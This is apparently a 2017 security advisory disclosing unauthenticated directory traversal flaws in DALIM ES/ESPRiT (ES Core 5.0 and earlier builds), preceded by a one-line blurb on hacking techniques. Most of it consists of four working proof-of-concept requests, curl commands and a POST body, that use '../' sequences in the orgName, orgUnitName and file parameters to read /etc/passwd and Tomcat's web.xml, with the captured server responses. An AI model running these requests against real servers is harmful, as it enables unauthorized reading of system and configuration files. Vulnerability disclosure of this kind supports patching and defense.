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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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DALIM SOFTWARE ES Core 5.0 build 7184.1 Multiple Remote File Disclosures


Vendor: Dalim Software GmbH
Product web page: https://www.dalim.com
Affected version: ES/ESPRiT 5.0 (build 7184.1)
                                (build 7163.2)
                                (build 7163.0)
                                (build 7135.0)
                                (build 7114.1)
                                (build 7114.0)
                                (build 7093.1)
                                (build 7093.0)
                                (build 7072.0)
                                (build 7051.3)
                                (build 7051.1)
                                (build 7030.0)
                                (build 7009.0)
                                (build 6347.0)
                                (build 6326.0)
                                (build 6305.1)
                                (build 6235.9)
                                (build 6172.1)
                  ES/ESPRiT 4.5 (build 6326.0)
                                (build 6144.2)
                                (build 5180.2)
                                (build 5096.0)
                                (build 4314.3)
                                (build 4314.0)
                                (build 4146.4)
                                (build 3308.3)
                  ES/ESPRiT 4.0 (build 4202.0)
                                (build 4132.1)
                                (build 2235.0)
                  ES/ESPRiT 3.0

Summary: ES is the new Enterprise Solution from DALIM SOFTWARE built
from the successful TWIST, DIALOGUE and MISTRAL product lines. The ES
Core is the engine that can handle project tracking, JDF device workflow,
dynamic user interface building, volume management. Each ES installation
will have different features, depending on the license installed: online
approval, prepress workflow, project tracking, imposition management...

ES is a collaborative digital asset production and management platform,
offering services ranging from online approval to web-based production
environment for all participants of the production cycle, including brand
owners, agencies, publishers, pre-media, printers and multichannel service
provider. ES lets users plan, execute and control any aspect of media
production, regardless of the final use of the output (print, web, ebook,
movie, and others). It ensures productivity and longterm profitability.

Desc: Input passed thru several parameters is not properly verified before
being used to read files. This can be exploited by an unauthenticated 
attacker to read arbitrary files from local resources with directory
traversal attacks.

Tested on: Red Hat Enterprise Linux Server release 7.3 (Maipo)
           CentOS 7
           Apache Tomcat/7.0.78
           Apache Tomcat/7.0.67
           Apache Tomcat/7.0.42
           Apache Tomcat/6.0.35
           Apache-Coyote/1.1
           Java/1.7.0_80
           Java/1.6.0_21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5427
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5427.php


15.06.2017

--


---------------------------------------------------
1. PoC request for Password.jsp, orgName parameter:
---------------------------------------------------

~ curl -v http://TARGET:8080/Esprit/public/Password.jsp\?orgName\=../../../../../../../../../etc/passwd
*   Trying TARGET...
* TCP_NODELAY set
* Connected to TARGET (TARGET) port 8080 (#0)
> GET /Esprit/public/Password.jsp?orgName=../../../../../../../../../etc/passwd HTTP/1.1
> Host: TARGET:8080
> User-Agent: curl/7.51.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Content-Type: text/html;charset=UTF-8
< Transfer-Encoding: chunked
< Date: Thu, 15 Jun 2017 02:18:44 GMT
< Server: Server
< 

--snip--
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
--snip--


----------------------------------------------------
2. PoC request for Login.jsp, orgUnitName parameter:
----------------------------------------------------

~ curl -v http://TARGET/Esprit/ES/Login\?orgUnitName\=../../../../../../../../../etc/passwd
*   Trying TARGET...
* TCP_NODELAY set
* Connected to TARGET (TARGET) port 80 (#0)
> GET /Esprit/ES/Login?orgUnitName=../../../../../../../../../etc/passwd HTTP/1.1
> Host: TARGET
> User-Agent: curl/7.51.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Thu, 15 Jun 2017 02:19:31 GMT
< Server: Server
< Content-Type: text/html;charset=UTF-8
< Set-Cookie: JSESSIONID=0ECF83AA0D337B5D942B5C164B172051; Path=/Esprit; HttpOnly
< Transfer-Encoding: chunked
< 

--snip--
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
--snip--


---------------------------------------
3. PoC request for log, file parameter:
---------------------------------------

~ curl http://TARGET:8080/dalimws/log\?file\=../../../../../../../etc/passwd\&len\=10000\&download\=true -v
*   Trying TARGET...
* TCP_NODELAY set
* Connected to TARGET (TARGET) port 8080 (#0)
> GET /dalimws/log?file=../../../../../../../etc/passwd&len=10000&download=true HTTP/1.1
> Host: TARGET:8080
> User-Agent: curl/7.51.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Content-Disposition: attachment; filename=../../../../../../../etc/passwd
< Content-Type: text/plain
< Content-Length: 10000
< Date: Thu, 15 Jun 2017 02:20:17 GMT
< Server: Server
< 

--snip--
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
--snip--


---------------------------------------
4. PoC request for log, file parameter:
---------------------------------------

POST /dalimws/log HTTP/1.1
Host: TARGET:8080
Content-Length: 116
User-Agent: H2O
Content-type: application/x-www-form-urlencoded
Accept: */*
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Connection: close

file=../../../../../../../symlnks/common/tomcat7.0/conf/web.xml&len=1000000&XUI_SessionID=LOGReq&responseWiter=XML

Response:

--snip--
    <!-- The mapping for the default servlet -->
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- The mappings for the JSP servlet -->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>
--snip--